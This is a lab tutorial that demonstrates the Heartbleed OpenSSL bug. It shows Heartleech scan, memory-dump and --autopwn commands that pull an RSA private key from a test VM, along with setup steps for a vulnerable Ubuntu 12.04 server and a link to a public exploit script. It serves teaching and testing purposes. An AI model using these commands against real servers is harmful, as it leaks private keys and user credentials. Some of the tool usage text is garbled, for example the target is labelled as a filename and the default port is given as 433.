Heartbleed Attacks

Testing tools

There are multiple ways to assess if a website is vulnerable to the Heartbleed security risk.

Attack 1

The result of a Heartbleed Bug is shown in the following picture.

Interpretation

The left hand column represents the HEAP address, the column in the middle contains the fetched data in a hexadecimal representation. The right hand column is the actual readable output. Here, user credentials, banking information or even the encryption method may be stated.

(Reminder: the attacked server must implement an OpenSSL version between 1.0.1 and 1.0.1.f)

Heartleech by Robert David Graham

The project can be found under following URL: "https://github.com/robertdavidgraham/heartleech" The first step to test a system for the vulnerabilty to the Heartbleed Bug with the Heartleech testing tool is to install Heartleech on Kali Linux with the command:

$ apt−get install heartleech
usage: heartleech <hostname> −f<filename> [−p<port >] ...
<filename> is a DNS name or IP address of the target
<filename is where the heartbleed information is stored
<port> is the port number, defaulting to 433

After successful installation, the option –scan examines a system for its vulnerability.

$ heartleech www.google.com −p 443 −−scan
−−− heartleech/1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
www.google.com:443: SAFE

To showcase a vulnerable system, a Virtual Machine with the vulnerable Ubuntu 12.04 with an Apache web server was used and the Heartleech identified the system as VULNERABLE.

$ heartleech −−scan 192.168.40.145
192.168.40.145:443: VULNERABLE

Conceding that Heartleech command is used without any other parameter, it will read data from the memory until the program was to be aborted.

$ heartleech 192.168.40.145
1896737 byted downloaded (101.215 −mbps)

To find private information the –autopawn and –threads options can be used. In this case Heartleech found a RSA Private Key in the vulnerable memory.

$ heartleech 192.168.40.145 −−autopwn −−threads 20
−−− heartleech / 1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
0 byted downloaded (0.000 −mbps )
−−−−−BEGIN RSA PRIVATE KEY−−−−−
MIIEowIBAAKCAQEAwgrg7H+rjMb0FEkf /d3VeZe68NwMF+maKHc
...
−−−−−END RSA PRIVATE KEY−−−−−

Attack 2

Furthermore, the Heartbleed bug can be demonstrated using a freely available exploit script found on Github.

First, a server ISO image is to be downloaded from here: https://old-releases.ubuntu.com/releases/12.04.4/. This version of Ubuntu features the vulnerable OpenSSl version 1.0.1 from March 2012.

After creating a virtual machine from this image in Oracle VirtualBox Manager, it is necessary to change the Network Adapter setting of Adapter 1 to Bridged Adapter as can be seen in the image below.

Next, edit the /etc/apt/sources.list file so update and upgrade operations will be redirected to legacy Ubuntu servers:

Execute "sudo apt-get update" to retrieve package information from the Ubuntu legacy servers and then install Apache by executing "sudo apt-get install apache2":

Enable the SSL module and the default webpage bundled with Apache2 by executing „sudo a2enmod ssl“ and „sudo a2ensite default-ssl“:

Restart the web server and determine its IP address:

Download a Kali Linux image from here: https://www.kali.org/get-kali/#kali-virtual-machines to create a Client virtual machine and choose the VirtualBox option.

After setting the Client up, change the Network Adapter settings of Adapter 1 to Bridged Adapter as shown in the image below.

Open a browser on the Client machine and verify the web server's availability by accessing "https://" followed by its known IP address. You will be shown a warning about the web server's self-signed certificate and can take a look at it by clicking on "View Certificate":

Execute "openssl s_client -connect " followed by the web server's IP address to diagnose the web server:

Save a Heartbleed exploit script (https://gist.githubusercontent.com/sh1n0b1/10100394/raw/634aef12c0dcf06921986e22ad9b3f955b33697f/ssltest.py) available on Github (https://gist.github.com/sh1n0b1/10100394) locally via clicking the "Raw" button and choosing the "Save Page As..." option as shown below.

Execute the exploit script via "python2.7 {location of the script} {web server's IP address}":

While the above screenshots do not reveal sensitive information, a malicious entity exploiting a web server which implements session management is highly likely to reveal cryptographic information and/or login credentials eventually .